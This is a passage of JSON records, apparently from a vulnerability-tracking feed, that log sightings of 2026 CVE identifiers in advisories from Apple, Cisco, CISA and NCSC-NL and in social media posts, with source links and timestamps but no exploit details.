"2026-03-20T16:57:07.315152Z"}, {"uuid": "54039156-9be4-4831-bedc-0853393b830d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mhu25cufb626", "content": "", "creation_timestamp": "2026-03-25T02:28:39.538744Z"}, {"uuid": "29ac7618-60aa-46ee-a6ed-f59242d6ef1f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "https://bsky.app/profile/thedailytechfeed.com/post/3mhgbmxkfxd2i", "content": "", "creation_timestamp": "2026-03-19T15:05:24.975166Z"}, {"uuid": "19dbe986-31c3-4494-8731-8e35bbf14339", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20643", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mhu25cufb626", "content": "", "creation_timestamp": "2026-03-25T02:28:39.629910Z"}, {"uuid": "4ff0ba01-be4b-48cb-826d-938081a31441", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20963", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0010", "content": "", "creation_timestamp": "2026-03-20T13:03:59.000000Z"}, {"uuid": "93382f6a-04dd-4bf1-b91c-f25b2bd4605c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20639", "type": "seen", "source": "https://support.apple.com/en-us/126796", "content": "", "creation_timestamp": "2026-03-26T03:00:13.000000Z"}, {"uuid": "ab1fd9bd-6891-4185-9010-f91265cf5a70", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "https://bsky.app/profile/hakksaww.bsky.social/post/3mhgc5msqxq2i", "content": "", "creation_timestamp": "2026-03-19T15:14:43.572987Z"}, {"uuid": "43c8e6e2-312f-45cb-b61f-dbba9f32f42b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20944", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0010", "content": "", "creation_timestamp": "2026-03-20T13:03:59.000000Z"}, {"uuid": "bf6190d6-fd36-425d-91ed-f105fd53484c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mhrjobohkc2z", "content": "", "creation_timestamp": "2026-03-24T02:28:35.567138Z"}, {"uuid": "cc5e27d2-2401-47e9-abd6-78f56440b943", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20690", "type": "seen", "source": "https://support.apple.com/en-us/126796", "content": "", "creation_timestamp": "2026-03-26T03:00:13.000000Z"}, {"uuid": "e3428e62-883c-42f8-914f-357d321aea71", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "https://cyber.gc.ca/en/alerts-advisories/cisco-security-advisory-av26-197", "content": "", "creation_timestamp": "2026-03-18T18:40:07.000000Z"}, {"uuid": "c3eae2d8-b822-4989-affd-6bcc4843a1fa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20948", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0010", "content": "", "creation_timestamp": "2026-03-20T13:03:59.000000Z"}, {"uuid": "255d488d-6196-4134-bb9e-8f814b796e04", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20643", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mhrjobohkc2z", "content": "", "creation_timestamp": "2026-03-24T02:28:35.643184Z"}, {"uuid": "60121b65-8997-4b05-811a-df6891e124a5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20963", "type": "seen", "source": "https://bsky.app/profile/hendryadrian.bsky.social/post/3mhgchsmy4g2d", "content": "", "creation_timestamp": "2026-03-19T15:20:25.839236Z"}, {"uuid": "7c11d696-2c4e-4357-9952-775ae60af0fa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20947", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0010", "content": "", "creation_timestamp": "2026-03-20T13:03:59.000000Z"}, {"uuid": "730f6649-6f72-4502-9a5d-395a5f7bd135", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20963", "type": "seen", "source": "https://www.cisa.gov/news-events/alerts/2026/03/18/cisa-adds-one-known-exploited-vulnerability-catalog-0", "content": "", "creation_timestamp": "2026-03-18T12:00:00.000000Z"}, {"uuid": "0096e689-625d-4b7e-9e39-e162a100e963", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20951", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0010", "content": "", "creation_timestamp": "2026-03-20T13:03:59.000000Z"}, {"uuid": "ca06aa2c-79cc-4f38-aae0-e24d099667b6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20805", "type": "seen", "source": "https://bsky.app/profile/cyberdudebivash.bsky.social/post/3mcu63e3i3224", "content": "", "creation_timestamp": "2026-01-20T12:33:16.027395Z"}, {"uuid": "a94a8981-cf93-487c-ab85-3ed558ff0abc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20062", "type": "seen", "source": "https://bsky.app/profile/ferramentaslinux.bsky.social/post/3mcujrwmtsc23", "content": "", "creation_timestamp": "2026-01-20T16:02:50.350033Z"}, {"uuid": "f8a6ccca-7048-4ff8-bbc2-391187cf7ff0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20061", "type": "seen", "source": "https://bsky.app/profile/ferramentaslinux.bsky.social/post/3mcujrwmtsc23", "content": "", "creation_timestamp": "2026-01-20T16:02:50.433184Z"}, {"uuid": "d0acad37-5084-425d-94b9-7d11a3373ec5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20062", "type": "seen", "source": "https://bsky.app/profile/ferramentaslinux.bsky.social/post/3mcujw2nhcc23", "content": "", "creation_timestamp": "2026-01-20T16:05:09.156849Z"}, {"uuid": "7cee76be-ffae-465a-8218-56aad44d1e1a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20061", "type": "seen", "source": "https://bsky.app/profile/ferramentaslinux.bsky.social/post/3mcujw2nhcc23", "content": "", "creation_timestamp": "2026-01-20T16:05:09.255343Z"}, {"uuid": "86046503-ac5a-4bf7-b7ca-b990d6d10819", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20643", "type": "seen", "source": "https://bsky.app/profile/bleepingcomputer.com/post/3mhccchyew52y", "content": "", "creation_timestamp": "2026-03-18T01:06:47.944654Z"}, {"uuid": "780b3c8e-7b8f-430c-b7ad-908a9122b242", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20959", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0010", "content": "", "creation_timestamp": "2026-03-20T13:03:59.000000Z"}, {"uuid": "4176afe6-fad9-4134-9d30-71436d31b8c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20668", "type": "seen", "source": "https://support.apple.com/en-us/126796", "content": "", "creation_timestamp": "2026-03-26T03:00:13.000000Z"}, {"uuid": "878e9e65-726c-43a1-9098-bdcf4d885dc9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20965", "type": "seen", "source": "https://bsky.app/profile/r-blueteamsec.bsky.social/post/3mcuoedy5sd2l", "content": "", "creation_timestamp": "2026-01-20T17:24:32.584193Z"}, {"uuid": "bd684377-1d40-4492-9cb5-0f199a91be7f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20833", "type": "seen", "source": "https://bsky.app/profile/allsafeus.bsky.social/post/3mcvvkrncyi2p", "content": "", "creation_timestamp": "2026-01-21T05:06:04.400660Z"}, {"uuid": "d1e7f265-cd31-4875-8b50-0d53ac163fdd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20643", "type": "seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3mhehx7kpqk23", "content": "", "creation_timestamp": "2026-03-18T21:53:12.338182Z"}, {"uuid": "b8dd338d-7fa7-4c44-bafe-6cda7b0aa274", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20958", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0010", "content": "", "creation_timestamp": "2026-03-20T13:03:59.000000Z"}, {"uuid": "2523ffd0-6f43-4435-a37f-ec2bfac4bf5e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20943", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0010", "content": "", "creation_timestamp": "2026-03-20T13:03:59.000000Z"}, {"uuid": "7a086d09-5c3a-4a66-a696-d6642dba7b53", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "https://feedsin.space/feed/CISAKevBot/items/6051119", "content": "", "creation_timestamp": "2026-03-19T15:41:26.920732Z"}, {"uuid": "db22c566-c676-481d-893c-c48d9f986f95", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20953", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0010", "content": "", "creation_timestamp": "2026-03-20T13:03:59.000000Z"}, {"uuid": "72831a65-8fc3-46e4-8056-3f63fcdb86df", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20084", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mhvl4wm2or2z", "content": "", "creation_timestamp": "2026-03-25T17:05:19.905669Z"}, {"uuid": "5dbbcdf4-28b6-4741-8c1a-fbebef4353be", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20952", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0010", "content": "", "creation_timestamp": "2026-03-20T13:03:59.000000Z"}, {"uuid": "73baf72e-d8ac-4d51-acb3-2c2f6665ec4e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20946", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0010", "content": "", "creation_timestamp": "2026-03-20T13:03:59.000000Z"}, {"uuid": "be14956d-c1fb-4ba7-9a5f-61624de7be5e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20695", "type": "seen", "source": "https://support.apple.com/en-us/126796", "content": "", "creation_timestamp": "2026-03-26T03:00:13.000000Z"}, {"uuid": "9b47eba0-b762-448b-9414-3b52942d51c2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20643", "type": "seen", "source": "https://bsky.app/profile/postac001.bsky.social/post/3mhceexf2ev2v", "content": "", "creation_timestamp": "2026-03-18T01:43:59.524819Z"}, {"uuid": "7fd09658-cdd3-4e93-af25-38f731b15bdb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20955", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0010", "content": "", "creation_timestamp": "2026-03-20T13:03:59.000000Z"}, {"uuid": "7c76db02-eea8-4dd8-b775-e59849c1ef7b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20086", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mhvlrc3mng2s", "content": "", "creation_timestamp": "2026-03-25T17:16:43.610782Z"}, {"uuid": "3ffc143e-a0ef-4368-bba1-c8c46f7465ec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20956", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0010", "content": "", "creation_timestamp": "2026-03-20T13:03:59.000000Z"}, {"uuid": "4dba3a11-d1b2-4130-8337-12d19f14d973", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-20687", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116287578482492253", "content": "", "creation_timestamp": "2026-03-25T03:00:31.337305Z"}, {"uuid": "3addfe71-4f2b-4ca3-8dc8-5b68a8285c14", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20607", "type": "seen", "source": "https://support.apple.com/en-us/126796", "content": "", "creation_timestamp": "2026-03-26T03:00:13.000000Z"}, {"uuid": "5bbe3987-7a53-42bb-a0bf-36c1e791e777", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20949", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0010", "content": "", "creation_timestamp": "2026-03-20T13:03:59.000000Z"}, {"uuid": "5dbf047d-ed92-4a62-93c2-d655f302666e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-20687", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3mhu3wdpabu2r", "content": "", "creation_timestamp": "2026-03-25T03:00:33.734797Z"}, {"uuid": "db7fd213-0569-4d74-a817-511e31dbecd0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20012", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mhvmd6wen52s", "content": "", "creation_timestamp": "2026-03-25T17:26:43.840863Z"}, {"uuid": "514b1813-9a60-43f3-9942-2d7aa31cb83f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20692", "type": "seen", "source": "https://support.apple.com/en-us/126796", "content": "", "creation_timestamp": "2026-03-26T03:00:13.000000Z"}, {"uuid": "45194d5c-3188-4d14-b908-8b6f0dd027dc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20950", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0010", "content": "", "creation_timestamp": "2026-03-20T13:03:59.000000Z"}, {"uuid": "69bbe70a-fcfb-491b-9b07-470ab18c5138", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20694", "type": "seen", "source": "https://support.apple.com/en-us/126796", "content": "", "creation_timestamp": "2026-03-26T03:00:13.000000Z"}, {"uuid": "d72296cd-a4fa-4f19-ab70-cc97d1097bdc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20435", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mhcguts3a32o", "content": "", "creation_timestamp": "2026-03-18T02:28:38.859097Z"}, {"uuid": "7ab4b35f-289c-4345-ac76-c78b3787da64", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20957", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0010", "content": "", "creation_timestamp": "2026-03-20T13:03:59.000000Z"}, {"uuid": "815bb892-3e90-44d3-836a-9dd6297bd559", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20701", "type": "seen", "source": "https://support.apple.com/en-us/126796", "content": "", "creation_timestamp": "2026-03-26T03:00:13.000000Z"}, {"uuid": "27ef2fd1-8cdb-4df2-8921-03f367bdeae5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20963", "type": "seen", "source": "https://bsky.app/profile/undercode.bsky.social/post/3mhvnda74ng2k", "content": "", "creation_timestamp": "2026-03-25T17:44:39.494439Z"}, {"uuid": "9b4f9379-135a-492b-bd39-6d982f9643c8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "https://bsky.app/profile/kotosecurity.bsky.social/post/3mhym4hg4n62z", "content": "", "creation_timestamp": "2026-03-26T22:00:56.974243Z"}, {"uuid": "29d9d894-7b8a-4842-a6ee-25122d8160ac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20118", "type": "seen", "source": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-xrncs-epni-int-dos-TWMffUsN", "content": "", "creation_timestamp": "2026-03-12T03:00:06.000000Z"}, {"uuid": "182cd873-ff53-4a5b-b05b-f9a3e75baf23", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mhizdza64l2o", "content": "", "creation_timestamp": "2026-03-20T17:15:15.190143Z"}, {"uuid": "99e8d7bc-7c67-47bc-be5d-ae32ad64008e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20693", "type": "seen", "source": "https://support.apple.com/en-us/126796", "content": "", "creation_timestamp": "2026-03-26T03:00:13.000000Z"}, {"uuid": "6349cb77-8f2f-4b8f-bc61-e84128099512", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20117", "type": "seen", "source": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-cc-xss-MrNAH5Jh", "content": "", "creation_timestamp": "2026-03-12T03:00:07.000000Z"}, {"uuid": "9bbce2a5-fc3a-4345-8adb-99751a4b81e8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20963", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mhggau4iar2k", "content": "", "creation_timestamp": "2026-03-19T16:28:06.854636Z"}, {"uuid": "452bb6ae-ddbf-460d-9b4b-9b73f17e82c6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mhglflfr6s2e", "content": "", "creation_timestamp": "2026-03-19T18:00:14.615506Z"}, {"uuid": "8805bc47-222a-4898-890a-8bde04fe27a1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20046", "type": "seen", "source": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-iosxr-privesc-bF8D5U4W", "content": "", "creation_timestamp": "2026-03-12T03:00:08.000000Z"}, {"uuid": "0ff123b0-0e55-4c83-b6f8-be8d2f66bce7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2092", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mhchte54ry2f", "content": "", "creation_timestamp": "2026-03-18T02:45:43.373821Z"}, {"uuid": "a869ccb3-8031-4e12-80cb-2ce3c1808604", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20040", "type": "seen", "source": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-iosxr-privesc-bF8D5U4W", "content": "", "creation_timestamp": "2026-03-12T03:00:08.000000Z"}, {"uuid": "b9d4b972-4246-4af0-bc1d-92581f30bc34", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "https://swecyb.com/ap/users/116080658609901341/statuses/116252614096584883", "content": "", "creation_timestamp": "2026-03-18T22:49:05.219832Z"}, {"uuid": "37f9ec89-83e4-460f-9106-49a638268517", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20074", "type": "seen", "source": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-isis-dos-kDMxpSzK", "content": "", "creation_timestamp": "2026-03-12T03:00:09.000000Z"}, {"uuid": "8a244a51-aa66-4813-8719-f5030e0976b6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20688", "type": "seen", "source": "https://support.apple.com/en-us/126796", "content": "", "creation_timestamp": "2026-03-26T03:00:13.000000Z"}, {"uuid": "a62c5ea8-b8ce-4c9c-bb08-3de494604918", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20643", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mhggjsk7xz2r", "content": "", "creation_timestamp": "2026-03-19T16:33:10.957029Z"}, {"uuid": "f40cece3-485e-4c46-bc5a-3c8f1a809f34", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20643", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/116247980378061251", "content": "", "creation_timestamp": "2026-03-18T03:10:12.012755Z"}, {"uuid": "57218cb1-d84b-4665-ba11-fb8af589bcf9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20697", "type": "seen", "source": "https://support.apple.com/en-us/126796", "content": "", "creation_timestamp": "2026-03-26T03:00:13.000000Z"}, {"uuid": "ebe57204-27f2-4b5d-a697-0230d743119e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20055", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mcx5sbfxdf2g", "content": "", "creation_timestamp": "2026-01-21T17:06:07.435256Z"}, {"uuid": "49f3199c-d6d2-4b8e-b1c3-d41d724cdedc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20045", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mcx5ws5jc72g", "content": "", "creation_timestamp": "2026-01-21T17:08:36.816568Z"}, {"uuid": "ddc98c87-03bd-45ed-b3a1-f8a96d8172fc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20109", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mcx63okdfj2i", "content": "", "creation_timestamp": "2026-01-21T17:11:20.715622Z"}, {"uuid": "0cbbe45b-ddd2-476f-91c6-c59251a4a023", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20080", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mcx6gzo2sm2c", "content": "", "creation_timestamp": "2026-01-21T17:17:41.434189Z"}, {"uuid": "d7fc051c-7c55-44f2-85f8-5f3ddf1afd6e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20092", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mcx6nqmk2d2m", "content": "", "creation_timestamp": "2026-01-21T17:21:26.822810Z"}, {"uuid": "de8c87d7-f07e-44be-8eab-d9649fd18b68", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20045", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mcx7lg3wqt2h", "content": "", "creation_timestamp": "2026-01-21T17:38:03.021473Z"}, {"uuid": "1ddbab9c-b200-4b14-beec-9e0dddb52f29", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20045", "type": "seen", "source": 